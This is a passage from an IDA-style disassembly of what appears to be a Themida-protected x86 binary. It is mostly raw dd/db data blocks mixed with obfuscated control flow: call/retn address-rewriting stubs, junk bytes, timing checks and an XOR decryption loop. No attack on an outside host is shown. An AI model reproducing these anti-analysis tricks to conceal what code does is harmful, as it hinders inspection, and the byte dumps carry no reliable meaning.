29h, 0DE9h, 8D2A7D00h, 8B72BFCAh, 0F2626671h, 0BD83DC3Fh dd 7E40B95h, 0A840F00h, 8B000000h, 0E40A799Dh, 8ABB6607h dd 11BD8362h, 7E414h, 3B840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0E91FD6C3h dd 6, 0C07BAD86h, 0BD8378A1h, 7E40399h, 6840F00h, 29000000h dd 0E4242DBDh, 11BD8307h, 7E414h, 1C840Fh, 958B0000h, 7E400C1h dd 399BD83h, 0F0007E4h, 984h, 0D3BF0F00h, 0EFD9D8Bh, 0BD8307E4h dd 7E41411h, 1C840F00h, 0F000000h, 388h, 0BAE38000h, 1855BD83h dd 0F0007E4h, 684h, 49958B00h, 8307E407h, 0E41411BDh, 840F0007h dd 23h, 83DFBF0Fh, 0E426A9BDh, 840F0007h, 13h, 5C4DBE60h dd 0FF610236h, 0E4181995h, 5CDA8107h, 8B5E8BE3h, 0D38B66C0h dd 13F1BD83h, 750007E4h, 35BD8309h, 7E409h, 53501A74h dd 858BC08Bh, 7E40EEDh, 0EED8589h, 9D8D07E4h, 7E6EA57h dd 585BD3FFh, 935BD83h, 740007E4h, 8B535018h, 0E40EED85h dd 0ED858907h, 8D07E40Eh, 0E6E6F89Dh, 5BD3FF07h, 258D8958h dd 6A07E416h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 7EC353h, 0FEF9810h, 282h, 8BF08A00h dd 1393BAC0h, 8B60542Eh, 0E4061D95h, 61585107h, 1411BD83h dd 0F0007E4h, 4D784h, 31958900h, 8307E42Ch, 0E40B11BDh dd 840F0207h, 64h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 28C35242h, 0C641AD04h, 0C1BAF195h, 8976B6E6h dd 0E4021985h, 0F1BD8307h, 107E41Dh, 2A850Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 90F9F6C3h, 0C9C848EAh, 958B0E37h, 7E4042Dh, 0D99D8B60h dd 8B07E415h, 0E44F7D8Dh, 0BE907h, 0E3760000h, 0B49EB158h dd 0A17877h, 65B5091Dh, 0FE07E41Eh, 56006A01h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0FA2ABB2h dd 68Ch, 3DBD0900h, 0E807E40Bh, 4, 80h, 4850F50h, 66000000h dd 8B2737BAh, 0F042444h, 148Eh, 7E86000h, 65000000h, 0E49AD743h dd 0B95F13ECh, 1B0C5CA9h, 0B7008B61h, 244489F6h, 48D0F04h dd 66000000h, 584BCBBAh, 895958Bh, 0FF6A07E4h, 13C5BD89h dd 95FF07E4h, 7E41601h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 19C35747h, 0D5FD63FFh, 0BD1B2B0Fh, 0EC20BA61h dd 71BB74EAh, 8D12C36Dh, 0E402E5BDh, 0D99D8B07h, 8B07E415h dd 6A1C4Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 629F15C3h, 8B48D731h, 0E426899Dh, 6A016A07h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 0DF7AC355h, 70F26DD6h, 8B8C3BD1h, 0C880FD0h dd 0F000000h, 68Ah, 719D8900h, 8907E423h, 0E42D01B5h, 0D48A5007h dd 6A240C89h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 119DC351h, 0ECCE3BABh, 0A07B4D3Dh dd 2441BD89h, 0DE907E4h, 0DD000000h, 10EFBA9Fh, 132D0011h dd 2CA3EA8h, 7026858Dh, 890F07E7h, 6, 0F1F9DA81h, 0D0FF18D6h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0B1C35040h dd 0FBF5BD72h, 3D55D381h, 0B5890C8Bh, 7E42045h, 0E9204F8Bh dd 0Dh, 401DA51Dh, 6F0DF8A1h, 68ADB7Ch, 80036A92h, 0B350AAE2h dd 240C89D8h, 18D18501h, 858D07E4h, 7E77026h, 10E8h, 55062700h dd 65273009h, 8CB0A6F6h, 9E7F7560h, 5E9BAh, 42D00000h dd 5B2C04F9h, 0FFDAB70Fh, 198B0FD0h, 0E8000000h, 0Dh, 3080B518h dd 0C6AD3314h, 0D51B4309h, 0A58D091Dh, 5A07E405h, 2E5BD8Dh dd 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0AA2D61C3h, 0F05199ECh, 0B589D5A8h, 7E41AC1h dd 0F1C4F8Bh, 16AD3B7h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0A4C35141h, 0B2E280D0h, 0C94BB50h, 0C891B48h dd 75850924h, 8D07E42Fh, 0E7702685h, 0B5953307h, 0FF07E418h dd 57006AD0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0F2FD2E4Fh, 89501B60h, 0E42681B5h, 204F8B07h dd 5227CB80h, 5ADBB70Fh, 6A036Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 897CC3C3h, 0E40A65BDh dd 0BB669107h, 0B2506D7Dh, 0BB669106h, 858DDCDEh, 7E77026h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 42C35141h dd 0C80F5C68h, 45981686h, 28B0F74h, 8A000000h, 0E18D89D1h dd 0FF07E422h, 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 4651D700h, 4F7D8D8Bh dd 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 8B66BCC3h, 6A01FED9h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0ACAAC350h dd 0F5FCB0B6h, 0C8A86DC4h, 0A719D8Bh, 858B07E4h, 7E44F7Dh dd 0DCE88160h, 0E9133437h, 0Ch, 455A966Ah, 0DE55DD3Eh dd 8C1C9FAFh, 8000FE61h, 16AB1E2h, 4E8BDB2h, 0FF000000h dd 8BFFFF9Fh, 8B6650DAh, 24448BD3h, 8B525004h, 60310FD6h dd 0B4FF44BEh, 0F52504Ch, 61585A31h, 8B585Ah, 89DA8B66h dd 0BA042444h, 78E2E60Ah, 0DB816658h, 858D7396h, 7E77030h dd 0A358D09h, 8D3107E4h, 7E4321Dh, 6AD0FFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0A0C44C3h dd 856C6872h dd 0B95BD83h, 0F0007E4h, 0DA84h, 89958B00h, 8307E423h dd 0E42015BDh, 850F0107h, 0C7h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 62C35040h, 0BB66C5F6h, 8D8D7E94h dd 7E7703Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 0EBC35747h, 6AD38B66h, 158D8903h, 6A07E425h, 9D896001h dd 7E402BDh, 61FAB70Fh, 8166D1FFh, 0F9401FCAh, 13E8016Ah dd 54000000h, 0B8DA0248h, 7D7EBD85h, 0A67EC4F0h, 0CAB14C88h dd 8B66942Bh, 81665AD1h, 6A0072F2h, 15958B01h, 8907E430h dd 0E42A4DBDh, 1D1FF07h, 0E4278DBDh, 0E80BB707h, 0F8776D59h dd 0A98589h, 6E807E4h, 0FA000000h, 0F2BAB8D9h, 0CE967h dd 98950000h, 0AF677B7Ah, 30F16BEEh, 6A5A58BFh, 53006A20h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 508E98F9h, 21659D8Bh, 6A5B07E4h, 0F810FFFh, 0E9000000h dd 0Ah, 0EB061534h, 0B4B8035Fh, 95FFC579h, 7E41601h, 0E4DB589h dd 0B807E4h, 0BB000000h, 42FFBE78h, 840FC00Bh, 80h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F7C35242h, 7DCB27A6h dd 897D26FBh, 0E41C1585h, 35958B07h, 8307E42Dh, 0E42471BDh dd 840F0007h, 44h, 95FFDA8Bh, 7E41F91h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 15h, 2EC35141h, 13E837h dd 8FD20000h, 3FEFEF1Fh, 3DF16E33h, 0B0BD8FE0h, 0D08154FDh dd 458D896Dh, 5A07E40Eh, 1EB5858Bh, 0E28007E4h, 12E95219h dd 0E9000000h, 0E92A7187h, 54BC72F6h, 0E14682C6h, 1C0E51EFh dd 0C65BADh, 9E800h, 0E5510000h, 5D7C9921h, 8120EFCAh dd 0CFEC30D3h, 0F585B37h, 689h, 6EEB8100h, 6665DCC7h, 6AD98Ch dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0F65D78C3h, 840F04C1h, 0AFh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 62C35040h, 0B704F663h, 11CB80A3h dd 86E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 0BD402976h, 0BA37C50Bh, 2B85B7D7h dd 0E418459Dh, 0B8EB8107h, 8B3CFC8Bh, 0E42D39B5h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0E1738149h, 6A4D5212h, 0F51FF94h, 815ADEBFh, 1180C6h dd 0E19D0B00h, 0C707E41Ch, 6, 6E800h, 0E2E20000h, 1835FA25h dd 1E4D9D89h, 5E5B07E4h, 0F883F8h, 0AB6840Fh, 9CBB0000h dd 0F528EAEAh, 0F01F883h, 12385h, 0D0B70F00h, 0B8h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0CE965h, 5EC30000h, 0F51DEFFh, 0E2C96D77h, 0C00B7D7Ah dd 7D840Fh, 9D230000h, 7E41D21h, 0F01F883h, 0AF84h, 0A5958B00h dd 8307E415h, 840F03F8h, 39h, 1A05BD29h, 0EE807E4h, 0CA000000h dd 863837A3h, 2C348606h, 980A1249h, 69850909h, 5A07E40Ah dd 958BC02Bh, 7E42641h, 89E0BD8Dh, 9D8B005Bh, 7E4096Dh dd 0BF0FE7FFh, 1B8D7h, 860F0000h, 6, 0EB72E281h, 0BD8D62BFh dd 5B89E0h, 0FE7FFF5h, 68Eh, 599D8B00h, 8D07E42Ah, 0E44609BDh dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 22A29EF7h, 6D55822Fh, 8A0F60B7h, 1, 1E5E9F8h dd 0F500000h, 282h, 5BFA8A00h, 4FD885C7h, 507E4h, 26BB0000h dd 0B808B27Ah, 5, 3850Fh, 0C2800000h, 8C7E94Fh, 958B0000h dd 7E42EB5h, 0F02F883h, 0B985h, 14E800h, 79B0000h, 0ED369055h dd 0FF6F8603h, 0F8A91FF9h, 31D1C6C5h, 800F3DE4h, 6, 18FDBD89h dd 895A07E4h, 0E406E9BDh, 0B807h, 0D7800000h, 0FC00B77h dd 6684h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 5739610Ah, 74BA82F2h, 1E61958Bh dd 0F88307E4h, 61840F01h, 81FFFFFFh, 0B9664DC2h, 3F88315h dd 0FEEB840Fh, 958BFFFFh, 7E40155h, 0B8h, 0B58D0100h, 8D07E416h dd 5B89E0BDh, 0C19D3300h, 0FF07E41Ah, 0FD9D8BE7h, 8D07E40Eh dd 0E44801BDh, 0ECA8107h, 0E915A2FDh, 0F7h, 15698589h dd 0F88307E4h, 1B850F03h, 1000000h, 0E41D6DB5h, 95BD8D07h dd 6607E449h, 0E508D381h, 0D2E9h, 0E3816600h, 0F8831D00h dd 2C850F05h, 1000000h, 0E42339BDh, 7C7E907h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 388ED7C3h, 83F1FD27h, 850F06F8h, 26h, 22518529h, 0BD8D07E4h dd 7E44B8Dh, 0C810Fh, 890F0000h, 6, 1901958Bh, 6CE907E4h dd 80000000h, 0F88367DAh, 39850F07h, 8B000000h, 0E406619Dh dd 59BD8D07h, 6A07E433h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 8BE3C350h, 0E4019195h dd 0E7E907h, 958B0000h, 7E42469h, 0F0AF883h, 1E85h, 16BB6600h dd 85BD8DFCh, 5607E44Dh, 0CE95AF8h, 0F000000h, 688h, 91958B00h dd 5707E423h, 30B9D88Bh, 8046DBE5h, 3F83ABE6h, 9F840F00h dd 29000000h, 0E408CD9Dh, 6A0F3007h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 21A0C356h dd 0DF8BAC0Eh, 6AC9D1h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 0EBD02FC3h, 6A472FB1h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 89E4C357h, 0E431D18Dh, 0FF84E907h, 6AFFFFh, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 990F33C3h, 958BAAE2h, 7E41D7Dh, 1259D8Bh, 895F07E4h dd 0E4264DB5h, 81BD8907h, 8B07E44Fh, 0E4036D95h, 0C18D8D07h dd 6A07E430h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 62C351h, 0CB344314h, 65B5FFC8h dd 8B07E416h, 0E41DF59Dh, 0D6858D07h, 5007E6DBh, 56EBBD8Dh dd 8D8D07E4h, 7E46F50h, 831ABCB8h, 30CF2B54h, 47C8D007h dd 8DF87549h, 0E46EEFB5h, 688D8D07h, 2B07E46Fh, 33A4F3CFh dd 0B8C9h, 0C00B0000h, 0BD834674h, 7E42471h, 0FF067400h dd 0E41F9195h, 81B58B07h, 8D07E44Fh, 0E6DBD685h, 8DD0FF07h dd 0E443E785h, 0C7D0FF07h, 0E40E6585h, 107h, 49A58B00h dd 8B07E406h, 0E40F11B5h, 71AD8B07h, 3307E412h, 0CC2C0h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 3C35040h dd 0D22F725Bh, 6AF8F8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 441CD7C3h, 1DBD83B8h, 7E423h, 19840Fh dd 0BA600000h, 1C7F0834h, 27AD8D03h, 0FF6107E4h, 0E421E195h dd 559D8B07h, 8307E416h, 0E4038DBDh, 850F0007h, 27Ch, 8303C680h dd 0E42015BDh, 850F0107h, 26Ch, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 0DEC35040h, 3CE809BDh, 0BBCABEBBh dd 7C6DDD91h, 0AD9BD83h dd 0F0007E4h, 23784h, 0FD78B00h, 684h, 0A59D0100h, 8307E431h dd 0E44FD4BDh, 840F0007h, 21Ch, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 5EC35141h, 2C05958Bh, 0E95607E4h dd 0Fh, 0A1583351h, 71B43060h, 795305D9h, 5BE24DDAh, 0DBD6858Dh dd 8D8907E6h, 7E42AE1h, 32958D29h, 0B58B07E4h, 7E44F81h dd 5E4CBA66h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 0B3DCAC3h, 0CBDF4545h, 0C654CDD5h dd 0E42C2D85h, 66605407h, 0A039EF81h, 18DD9529h, 0E86107E4h dd 4, 0FF4EBEF4h, 629EBB60h, 94BF51E3h, 61258674h, 9E95650h dd 0C8000000h, 4DA818F5h, 4313CEB8h, 24448B5Ah, 8BD88B04h dd 19840F00h, 0E9000000h, 14h, 5673206Bh, 6D142ACAh, 835ABC38h dd 5EE80BBAh, 7D99336h, 4244489h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0DABFA2BDh dd 5D33C453h, 0BD295167h, 7E40669h, 19DB5FFh, 0F85707E4h dd 0D8B70F5Ah, 3BDC858Dh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 81360CC3h, 329DCC22h dd 9D23B80Ah, 7E419CDh, 1CBBD0FFh, 0F397708h, 68Ch, 7DBD2900h dd 6A07E42Ah, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 0B138289Fh, 10E8h, 23184600h, 7F63214Fh dd 7417D3BCh, 806756A6h, 5D958BF2h, 5B07E418h, 0D08BFF6Ah dd 6E98501h, 0D0FF07E4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0F3C35545h, 7D280A42h, 0D81958Bh, 0B5FF07E4h dd 7E403ADh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 9CC35040h, 84496616h, 4059A42Eh, 95FFD08Bh, 7E41665h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0E7C35747h dd 0E1E874F1h, 4F81B58Bh, 0C3F907E4h, 2DD5B531h, 0B58B07E4h dd 7E41EB5h, 66E38166h, 0FF60B9Ch, 3584h, 0EE900h, 29150000h dd 0DA2A9865h, 6CB4FD50h, 81873931h, 6A0006C6h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 65B7C353h, 85894246h, 7E44F89h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 0C9C35242h, 1F830F22h, 0E8000000h dd 0Ch, 0A115614Eh, 8876EDBBh, 0FE855B3Ch, 7E8h, 0AD49F100h dd 47248D34h, 0F8835B5Bh, 0BD840F00h, 6A000002h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 76B3C356h, 0E18BBB66h, 0B8D48Ah, 8B000000h, 0F883D3h dd 71840Fh, 83F80000h, 850F02F8h, 37h, 1F198D89h, 858D07E4h dd 7E44604h, 16AD9589h, 292D07E4h, 3000009h, 0E4251195h dd 66609007h, 66864CBFh, 5061CB8Bh, 90D98B66h, 0DC8ABA66h dd 0F19D8BC3h, 0B807E420h, 0 ; --------------------------------------------------------------------------- mov [ebp+7E42511h], edi jmp loc_589A98 ; --------------------------------------------------------------------------- push 0 push esi call sub_58986A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58986A proc near ; CODE XREF: Themida_:00589862p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_58986A endp ; --------------------------------------------------------------------------- xchg eax, esp stosb lea ecx, [edx-4] mov eax, 1 lea edi, [ebp+7E44609h] and bx, 80A0h jmp loc_589978 ; --------------------------------------------------------------------------- push 0 push edx call sub_58989F and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58989F proc near ; CODE XREF: Themida_:00589897p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_58989F endp ; --------------------------------------------------------------------------- inc ebp aam 7Bh mov bx, 0E63Ah cmp eax, 2 jnz loc_589937 push 0 push ecx call sub_5898CA and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5898CA proc near ; CODE XREF: Themida_:005898C2p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5898CA endp ; --------------------------------------------------------------------------- dw 0E41h dd 3E97668Ch, 20BF883Fh, 0DE9h, 48F13300h, 0A4B75839h dd 83402F90h, 8B66E898h, 1BD8DDAh, 0E907E448h, 74h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 74C35141h, 623013Bh dd 958B0259h, 7E41F3Dh, 5830Fh, 81660000h db 0E3h, 0F0h, 5Ch ; --------------------------------------------------------------------------- loc_589937: ; CODE XREF: Themida_:005898B9j cmp eax, 3 jnz loc_58995D mov dx, 0AD87h lea edi, [ebp+7E44995h] mov dx, bx jmp loc_589978 ; --------------------------------------------------------------------------- jmp loc_58995D ; --------------------------------------------------------------------------- db 0Eh dd 7C3B613Ch db 0E7h ; --------------------------------------------------------------------------- loc_58995D: ; CODE XREF: Themida_:0058993Aj ; Themida_:00589952j cmp eax, 5 jnz loc_589978 jmp loc_589971 ; --------------------------------------------------------------------------- movsd test eax, 0BAD331A6h loc_589971: ; CODE XREF: Themida_:00589966j jmp loc_5899D5 ; --------------------------------------------------------------------------- mov dh, 0F5h loc_589978: ; CODE XREF: Themida_:0058988Fj ; Themida_:0058994Dj ... push edi sbb dx, 8B1Fh mov ecx, 46DBE530h mov [ebp+7E40479h], eax loc_589989: ; CODE XREF: Themida_:005899C7j cmp dword ptr [edi], 0 jz loc_5899D5 pusha jmp loc_5899AB ; --------------------------------------------------------------------------- test eax, 5BAA12A9h sti push esp aaa xor esp, [esi+0Ch] lodsb xor [eax+42FF32D0h], ah push ds loc_5899AB: ; CODE XREF: Themida_:00589993j movzx eax, cx popa sub [ebp+7E41C45h], esi xor [edi], cl movzx ebx, si ror ecx, 1 and bl, 7Ch sub [ebp+7E41F05h], edi inc edi clc jmp loc_589989 ; --------------------------------------------------------------------------- or dl, 7Bh xor [ebp+7E41689h], ecx loc_5899D5: ; CODE XREF: Themida_:loc_589971j ; Themida_:0058998Cj cmp eax, 5 jnz loc_589A98 push 0 push edx call sub_5899E9 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5899E9 proc near ; CODE XREF: Themida_:005899E1p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5899E9 endp ; --------------------------------------------------------------------------- db 0EFh, 58h, 1Dh dd 9589AFD5h, 7E42EC5h, 6880Fh, 8D890000h, 7E4063Dh, 80D98C66h dd 0C1F679EEh, 55850F04h, 0E8000000h, 8, 63F439ACh, 0F6ED3B20h dd 26518589h, 0B85A07E4h, 0 ; --------------------------------------------------------------------------- push ecx mov edx, 1CE9A2BCh pop ebx jmp loc_589A98 ; --------------------------------------------------------------------------- push 0 push ebp call sub_589A4F and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589A4F proc near ; CODE XREF: Themida_:00589A47p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_589A4F endp ; --------------------------------------------------------------------------- db 0F4h ; --------------------------------------------------------------------------- sub [esi+2Ah], esp cwde sub [edx], esp and al, 8Bh fbstp tbyte ptr [ecx] mov ebp, 7E4041Dh or dx, 0BCA9h mov eax, [ebp+7E43571h] cld jmp eax ; --------------------------------------------------------------------------- mov ebx, [ebp+7E43349h] jmp loc_589A98 ; --------------------------------------------------------------------------- dd 0B9696939h, 0CE9B2838h, 107EA68Ch, 5538BCB6h ; --------------------------------------------------------------------------- loc_589A98: ; CODE XREF: Themida_:0058985Aj ; Themida_:005899D8j ... cmp dword ptr [ebp+7E41665h], 0 jnz loc_589BAA jge loc_589AB1 mov [ebp+7E40509h], edx loc_589AB1: ; CODE XREF: Themida_:00589AA5j push eax jmp loc_589ACA ; --------------------------------------------------------------------------- db 4Ah dd 6755DCE4h, 43A5E3D9h, 4F6DF597h, 6DBE944Bh ; --------------------------------------------------------------------------- or ch, [ecx] loc_589ACA: ; CODE XREF: Themida_:00589AB2j mov [esp], eax jmp loc_589AE3 ; --------------------------------------------------------------------------- dw 0E2DAh dd 0A05237EDh, 0E4A0C4A2h, 8D40D9B2h db 0F8h, 0E9h, 0B4h ; --------------------------------------------------------------------------- loc_589AE3: ; CODE XREF: Themida_:00589ACDj or edx, 470A90D1h mov byte ptr [ebp+7E42C2Dh], 45h movzx ebx, dx push 0EA730B37h push eax push edx mov edx, esi rdtsc mov dx, bx pop edx pop eax xor dword ptr [esp], 6401625Eh mov [ebp+7E41CFDh], edx push dword ptr [ebp+7E4019Dh] mov [ebp+7E42C59h], esi jbe loc_589B25 mov bx, di loc_589B25: ; CODE XREF: Themida_:00589B1Cj lea eax, [ebp+7E43BDCh] sbb edx, 358CB911h jmp loc_589B45 ; --------------------------------------------------------------------------- dw 80C5h ; --------------------------------------------------------------------------- mov al, ds:810E9CC0h retf 0A09Bh ; --------------------------------------------------------------------------- dd 8892B95h db 86h ; --------------------------------------------------------------------------- loc_589B45: ; CODE XREF: Themida_:00589B31j call eax sub ebx, 4D6277Dh mov bl, 7Bh mov [ebp+7E41665h], eax push 0 push esi call sub_589B60 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589B60 proc near ; CODE XREF: Themida_:00589B58p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_589B60 endp ; --------------------------------------------------------------------------- dd 0C05AE358h, 2569958Bh, 0DB8107E4h, 853CF18h, 50006A58h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 594F4BC8h, 2FAB4549h, 0A698BAB5h db 57h, 26h ; --------------------------------------------------------------------------- loc_589BAA: ; CODE XREF: Themida_:00589A9Fj cmp dword ptr [ebp+7E44FD8h], 0 jz loc_589C08 mov [ebp+7E41B99h], esi push dword ptr [ebp+7E403ADh] push 0 push esi call sub_589BCE and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589BCE proc near ; CODE XREF: Themida_:00589BC6p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_589BCE endp ; --------------------------------------------------------------------------- dw 0B685h dd 8CA18C1Fh, 95FFC483h, 7E41665h, 1AA9958Bh, 11E907E4h dd 0C8000000h, 0CA8D2A7Dh, 718B72BFh, 3FF26266h, 38A766DCh ; --------------------------------------------------------------------------- loc_589C08: ; CODE XREF: Themida_:00589BB1j cmp eax, 0 jnz loc_589CCE jmp loc_589C1C ; --------------------------------------------------------------------------- dw 0F404h dd 6AD8FD4Ch ; --------------------------------------------------------------------------- loc_589C1C: ; CODE XREF: Themida_:00589C11j cmp dword ptr [ebp+7E406B9h], 0 jz loc_589C80 push 0 push eax call sub_589C34 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589C34 proc near ; CODE XREF: Themida_:00589C2Cp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_589C34 endp ; --------------------------------------------------------------------------- cmp eax, 0FCFA88Ah mov bh, 0D3h mov ebx, 7549DCA6h push dword ptr [ebp+7E406B9h] add [ebp+7E41449h], ebx mov eax, 1 jmp loc_589C75 ; --------------------------------------------------------------------------- dw 0C22Eh dd 0A4880E05h, 0DE3D2F03h, 7A5DAC87h ; --------------------------------------------------------------------------- dec esi loc_589C75: ; CODE XREF: Themida_:00589C61j jmp loc_589E15 ; --------------------------------------------------------------------------- mov edx, [ebp+7E405ADh] loc_589C80: ; CODE XREF: Themida_:00589C23j push dword ptr [ebp+7E403ADh] push edx mov [ebp+7E40345h], ecx pop edx push dword ptr [ebp+7E403ADh] push 0 push ecx call sub_589C9F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589C9F proc near ; CODE XREF: Themida_:00589C97p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_589C9F endp ; --------------------------------------------------------------------------- db 0E2h dd 65B5FF2Ah, 8907E416h, 0E4180595h, 153E907h, 958B0000h dd 7E405A1h, 160D9D89h db 0E4h, 7 ; --------------------------------------------------------------------------- loc_589CCE: ; CODE XREF: Themida_:00589C0Bj pop edi push edi mov edx, [ebp+7E426DDh] pop edx cmp dword ptr [ebp+7E42161h], 0 jnz loc_589D56 jnp loc_589CEC mov ebx, edx loc_589CEC: ; CODE XREF: Themida_:00589CE4j mov [ebp+7E424D9h], ebx mov byte ptr [ebp+7E42C2Dh], 4Dh jge loc_589D02 and dh, 70h loc_589D02: ; CODE XREF: Themida_:00589CF9j push 9CB8F3E3h mov dl, 0D2h xor dword ptr [esp], 388D854Bh adc dl, 93h push dword ptr [ebp+7E41DE1h] push 0 push edi call sub_589D24 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589D24 proc near ; CODE XREF: Themida_:00589D1Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_589D24 endp ; --------------------------------------------------------------------------- and [edx-257E99A3h], cl rol dword ptr [edi], 8Dh test ebx, esp cmp esp, esp pop es mov [ebp+7E41AA1h], eax call eax mov bx, 0B51h mov [ebp+7E42161h], eax mov dh, 0D8h loc_589D56: ; CODE XREF: Themida_:00589CDEj mov eax, 0 cld mov [ebp+7E44F81h], edi push 0 push edx call sub_589D6D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589D6D proc near ; CODE XREF: Themida_:00589D65p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_589D6D endp ; --------------------------------------------------------------------------- retn 9DFBh ; --------------------------------------------------------------------------- jz loc_589D9C pusha jmp loc_589D9B ; --------------------------------------------------------------------------- xchg eax, edi sub byte ptr [ebp+53A3867Fh], 7Fh sub al, 0EAh dec esp sbb ebp, esp clc scasb loc_589D9B: ; CODE XREF: Themida_:00589D87j popa loc_589D9C: ; CODE XREF: Themida_:00589D80j or eax, eax jz loc_589DC9 movsx edx, dx jmp loc_589E15 ; --------------------------------------------------------------------------- push 0 push eax call sub_589DB7 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= 